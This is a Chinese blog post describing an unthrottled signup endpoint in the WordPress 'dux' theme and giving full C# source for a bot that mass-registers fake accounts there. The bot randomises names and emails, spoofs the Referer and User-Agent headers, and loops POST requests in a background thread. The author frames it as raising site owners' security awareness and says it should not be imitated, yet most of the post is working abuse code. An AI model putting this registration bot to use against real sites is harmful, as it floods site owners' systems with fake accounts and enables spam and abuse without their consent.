和群里诸位站长聊天时说到WordPress开放注册的问题,发现好多WordPress网站开放了注册,包括本站也开放了注册。虽然很多站看起来很高大上,注册弹窗漂亮异常。但是它们都没有对注册信息进行加密处理以及注册限制,留下了可以无限注册的接口。今天就用C#写一个简单的WordPress账号注册机,批量注册一个使用大前端主题dux的网站。大家不要学我,这个站长我认识,刷人家账号是不好的行为哟~
首先是使用浏览器进行抓包,chrome内核浏览器可以F12直接抓包,IE需要安装httpwatch软件。具体抓包过程我就不教大家了,很简单,特别是这种没有加密处理的明文信息。下面是dux主题的注册接口:
请求方式:post
请求地址:域名/wp-content/themes/dux/action/log.php
请求参数:
- name(用户名)
- email(用户邮箱)
- action(请求类型,用以判断是否是注册请求),注册请求action 为signup
下面看看C#批量账号注册机的代码实现:
生成随机字母数字的方法,以便我们随机构造邮箱地址。
/// <summary> /// 生成随机字母与数字 /// </summary> /// <param name="IntStr">生成长度</param> /// <returns></returns> public static string Str(int Length) { return Str(Length, false); } /// <summary> /// 生成随机字母与数字 /// </summary> /// <param name="Length">生成长度</param> /// <param name="Sleep">是否要在生成前将当前线程阻止以避免重复</param> /// <returns></returns> public static string Str(int Length, bool Sleep) { if (Sleep) System.Threading.Thread.Sleep(3); char[] Pattern = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; string result = ""; int n = Pattern.Length; System.Random random = new Random(~unchecked((int)DateTime.Now.Ticks)); for (int i = 0; i < Length; i++) { int rnd = random.Next(0, n); result += Pattern[rnd]; } return result; }
然后是使用HttpWebRequest方法提交post请求,前面已经讲过了,不清楚看这里,C#从WebBrowser中取得Cookie 并在 HttpWebRequest中使用
public void threadres() { int i = 0; while (i < Convert.ToInt32(textBox4.Text)) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(textBox3.Text); //以下是发送的http头,随便加,其中referer挺重要的,有些网站会根据这个来反盗链 request.Referer = textBox2.Text; request.Accept = "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; request.Headers["Accept-Language"] = "zh-CN,zh;q=0."; request.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3"; request.UserAgent = "User-Agent:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1"; request.KeepAlive = true; //上面的http头看情况而定,但是下面俩必须加 request.ContentType = "application/x-www-form-urlencoded"; request.Method = "POST"; Encoding encoding = Encoding.UTF8;//根据网站的编码自定义 string postDataStr = "name=" + Str(10) + "&email=" + Str(10) + "@qq.com&action=signup"; byte[] postData = encoding.GetBytes(postDataStr); request.ContentLength = postData.Length; Stream requestStream = request.GetRequestStream(); requestStream.Write(postData, 0, postData.Length); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream responseStream = response.GetResponseStream(); //如果http头中接受gzip的话,这里就要判断是否为有压缩,有的话,直接解压缩即可 if (response.Headers["Content-Encoding"] != null && response.Headers["Content-Encoding"].ToLower().Contains("gzip")) { responseStream = new GZipStream(responseStream, CompressionMode.Decompress); } StreamReader streamReader = new StreamReader(responseStream, encoding); string retString = streamReader.ReadToEnd(); settext settx = new settext(updateui); Invoke(settx, retString); streamReader.Close(); responseStream.Close(); i++; System.Threading.Thread.Sleep(400); } }
因为是批量注册,为了不影响UI,使用了线程委托来实现。dux注册返回的是json,c#的json解析比较麻烦,我就不解析了,直接判断第10个字符是数字几就行了,0表示成功。
thread = new Thread(new ThreadStart(threadres)); thread.IsBackground = true; thread.Start();
用上面的代码启动线程即可。。。好像忘了个委托
public delegate void settext(String str);//定义一个用于更新UI的委托,需要传入一个字符串参数
委托ui处理方法
public void updateui(String str) { j++; if(str.Substring(9, 1).Equals("0")) { textBox1.Text = textBox1.Text + "\r\n "+j+" 注册成功"; } }
搞定,在程序界面填入注册接口地址即可,如果不成功,填入来源地址一般就OK了。这篇文章主要是为了提高诸位站长的运维意识,虽然刷账号没用,后台点几下鼠标就能把所有不合格账号全部删除,但….要提高自己。
评论 (2)